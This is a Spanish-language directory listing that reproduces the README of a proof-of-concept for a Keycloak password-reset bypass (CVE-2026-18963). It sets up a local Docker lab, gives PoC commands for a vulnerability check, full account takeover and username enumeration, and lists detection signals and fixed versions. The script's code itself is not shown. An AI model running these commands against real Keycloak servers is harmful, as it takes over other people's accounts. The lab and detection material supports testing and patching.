Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

FeedsContactoPrivacidad© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
Keycloak_CVE-2026-18963_PoC — Este repositorio es un PoC de cve-2026-18963. Por favor, úsalo en productos legales (laboratorio, local, ...). | Kitploit
Herramientas/GitHubGitHub/prot0tw/keycloak_cve-2026-18963_poc
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónAutenticaciónLabs y Práctica
GitHubprot0tw/keycloak_cve-2026-18963_poc

Keycloak_CVE-2026-18963_PoC

Este repositorio es un PoC de cve-2026-18963. Por favor, úsalo en productos legales (laboratorio, local, ...).

Ver Repositorio
1648hace 2 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2026-18963

Bypass de reset-credentials en Keycloak → toma de control de cuenta no autenticada CVSS 9.1 | Afectado: Keycloak 26.0.0 – 26.7.1


Estructura

CVE-2026-18963/
├── cve_2026_18963_poc.py   <- PoC script (Python 3.9+, stdlib only)
├── README.md
├── docker-compose.yml      <- Lab environment
└── realm-poc.json          <- Keycloak realm config (auto-imported)

Requisitos

  • Docker + Docker Compose
  • Python 3.9+ (solo biblioteca estándar, nada que instalar)
  • Linux

Paso 1: Iniciar el laboratorio

docker compose up -d

O ejecute Keycloak directamente, sin la importación del realm:

docker run -p 127.0.0.1:8080:8080 \
  -e KC_BOOTSTRAP_ADMIN_USERNAME=admin \
  -e KC_BOOTSTRAP_ADMIN_PASSWORD=admin \
  quay.io/keycloak/keycloak:26.7.1 start-dev

Espera ~30–60 segundos a que Keycloak termine de arrancar.

Servicios

ServicioURLVersiónEstado
kc-vulnhttp://localhost:808026.7.1VULNERABLE ⚠️
Mailpithttp://localhost:8025latestCaptura correo

Credenciales por defecto

  • Administrador de Keycloak: admin / admin
  • Usuario víctima: victim / OriginalPassw0rd!
  • Realm: poc | Cliente: poc-app
  • Verificar configuración: Realm settings → pestaña Login → Forgot password está activado.
  • Si falta el realm poc o el usuario victim, impórtalo manualmente: Manage realms → Create realm → Upload realm-poc.json.

Paso 2: Ejecutar el PoC

Comprobación segura (no requiere nombre de usuario, sin efectos secundarios)

python3 cve_2026_18963_poc.py \
  --base http://localhost:8080 --realm poc \
  --client-id poc-app \
  --redirect-uri http://localhost:9999/callback \
  --safe-check

Resultado esperado en kc-vuln: [!] VULNERABLE — email gate execution served


Prueba no destructiva (se detiene en el formulario Update Password)

python3 cve_2026_18963_poc.py \
  --base http://localhost:8080 --realm poc \
  --client-id poc-app \
  --redirect-uri http://localhost:9999/callback \
  --victim victim --check

Efectos secundarios: se envía un correo electrónico de restablecimiento a la víctima (visualícelo en http://localhost:8025), y emailVerified se establece en true.


Toma de control total

python3 cve_2026_18963_poc.py \
  --base http://localhost:8080 --realm poc \
  --client-id poc-app \
  --redirect-uri http://localhost:9999/callback \
  --victim victim \
  --new-password 'PoCPassw0rd!1'

Después, verifique iniciando sesión en http://localhost:8080/realms/poc/account con victim / PoCPassw0rd!1.


Enumeración de nombres de usuario

printf 'victim\nadmin\nnobody\n' > userlist.txt

python3 cve_2026_18963_poc.py \
  --base http://localhost:8080 --realm poc \
  --client-id poc-app \
  --redirect-uri http://localhost:9999/callback \
  --enum userlist.txt

Paso 3: Restablecer la víctima a su estado inicial

El realm se importa solo en el primer arranque, por lo que el restablecimiento más sencillo es recrear el entorno desde cero:

docker compose down -v && docker compose up -d

Alternativamente, restablezca la contraseña manualmente en la consola de administración (http://localhost:8080/admin): Users → victim → Credentials → Reset password → OriginalPassw0rd!.


Desmontaje

docker compose down -v

Señales de detección

SeñalLegítimoExplotación
GET /login-actions/action-token?...✅ Sí❌ No
POST .../reset-credentials con cuerpo tryAnotherWay=yes❌ No✅ Sí
SEND_RESET_PASSWORD → UPDATE_PASSWORD con el mismo code_id < 2 sRaro✅ Siempre
emailVerified cambia a true sin evento VERIFY_EMAIL❌✅ Siempre

En Mailpit (http://localhost:8025) el correo de restablecimiento de contraseña llega al buzón de la víctima, pero nunca se hace clic en el enlace que contiene cuando la explotación tiene éxito.


Versiones afectadas

Línea de versiónAfectadasCorrección
≤ 17 (WildFly)No—
26.0 – 26.326.0.0 – 26.x.xNinguna (debe pasar a 26.7.2)
26.426.4.0 – 26.4.1426.4.15 (backport del proveedor)
26.526.5.0 – 26.5.7Ninguna
26.626.6.0 – 26.6.526.6.6 (backport del proveedor)
26.726.7.0 – 26.7.126.7.2 ✅

Las versiones anteriores a 26.0 no se ven afectadas: la nota persistente AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED y la pantalla del selector "Try another way" en el flujo de restablecimiento se introdujeron en 26.0.0. Las compilaciones más antiguas simplemente carecen de la ruta de código vulnerable — eso no es lo mismo que estar parcheadas.


Referencias

  • Sploitus (README original): https://sploitus.com/exploit?id=A76D2FC5-1440-568B-81C2-B0213465485E
  • Incidencia de Keycloak: https://github.com/keycloak/keycloak/issues/51833
  • PR de corrección: https://github.com/keycloak/keycloak/pull/51844
  • GHSA: GHSA-4gv3-mc9p-5wqc
  • Red Hat: https://access.redhat.com/security/cve/cve-2026-18963
Descargar herramienta